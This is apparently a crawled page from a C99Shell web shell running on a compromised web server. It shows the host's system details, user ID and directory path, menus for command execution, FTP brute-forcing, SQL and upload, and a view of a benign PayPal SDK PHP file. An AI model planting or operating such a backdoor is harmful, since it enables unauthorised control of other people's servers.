!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html/vendor/paypal/rest-api-sdk-php/lib/PayPal/Rest/   drwxr-xr-x
Free 28.76 GB of 117.98 GB (24.38%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ApiContext.php (4.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace PayPal\Rest;

use 
PayPal\Core\PayPalConfigManager;
use 
PayPal\Core\PayPalCredentialManager;

/**
 * Class ApiContext
 *
 * Call level parameters such as request id, credentials etc
 *
 * @package PayPal\Rest
 */
class ApiContext
{

    
/**
     * Unique request id to be used for this call
     * The user can either generate one as per application
     * needs or let the SDK generate one
     *
     * @var null|string $requestId
     */
    
private $requestId;

    
/**
     * This is a placeholder for holding credential for the request
     * If the value is not set, it would get the value from @\PayPal\Core\PayPalCredentialManager
     *
     * @var \PayPal\Auth\OAuthTokenCredential
     */
    
private $credential;


    
/**
     * Construct
     *
     * @param \PayPal\Auth\OAuthTokenCredential $credential
     * @param string|null                       $requestId
     */
    
public function __construct($credential null$requestId null)
    {
        
$this->requestId $requestId;
        
$this->credential $credential;
    }

    
/**
     * Get Credential
     *
     * @return \PayPal\Auth\OAuthTokenCredential
     */
    
public function getCredential()
    {
        if (
$this->credential == null) {
            return 
PayPalCredentialManager::getInstance()->getCredentialObject();
        }
        return 
$this->credential;
    }

    public function 
getRequestHeaders()
    {
        
$result PayPalConfigManager::getInstance()->get('http.headers');
        
$headers = array();
        foreach (
$result as $header => $value) {
            
$headerName ltrim($header'http.headers');
            
$headers[$headerName] = $value;
        }
        return 
$headers;
    }

    public function 
addRequestHeader($name$value)
    {
        
// Determine if the name already has a 'http.headers' prefix. If not, add one.
        
if (!(substr($name0strlen('http.headers')) === 'http.headers')) {
            
$name 'http.headers.' $name;
        }
        
PayPalConfigManager::getInstance()->addConfigs(array($name => $value));
    }

    
/**
     * Get Request ID
     *
     * @return string
     */
    
public function getRequestId()
    {
        return 
$this->requestId;
    }

    
/**
     * Sets the request ID
     *
     * @param string $requestId the PayPal-Request-Id value to use
     */
    
public function setRequestId($requestId)
    {
        
$this->requestId $requestId;
    }

    
/**
     * Resets the requestId that can be used to set the PayPal-request-id
     * header used for idempotency. In cases where you need to make multiple create calls
     * using the same ApiContext object, you need to reset request Id.
     * @deprecated Call setRequestId with a unique value.
     *
     * @return string
     */
    
public function resetRequestId()
    {
        
$this->requestId $this->generateRequestId();
        return 
$this->getRequestId();
    }

    
/**
     * Sets Config
     *
     * @param array $config SDK configuration parameters
     */
    
public function setConfig(array $config)
    {
        
PayPalConfigManager::getInstance()->addConfigs($config);
    }

    
/**
     * Gets Configurations
     *
     * @return array
     */
    
public function getConfig()
    {
        return 
PayPalConfigManager::getInstance()->getConfigHashmap();
    }

    
/**
     * Gets a specific configuration from key
     *
     * @param $searchKey
     * @return mixed
     */
    
public function get($searchKey)
    {
        return 
PayPalConfigManager::getInstance()->get($searchKey);
    }

    
/**
     * Generates a unique per request id that
     * can be used to set the PayPal-Request-Id header
     * that is used for idempotency
     * @deprecated
     *
     * @return string
     */
    
private function generateRequestId()
    {
        static 
$pid = -1;
        static 
$addr = -1;

        if (
$pid == -1) {
            
$pid getmypid();
        }

        if (
$addr == -1) {
            if (
array_key_exists('SERVER_ADDR'$_SERVER)) {
                
$addr ip2long($_SERVER['SERVER_ADDR']);
            } else {
                
$addr php_uname('n');
            }
        }

        return 
$addr $pid $_SERVER['REQUEST_TIME'] . mt_rand(00xffff);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0057 ]--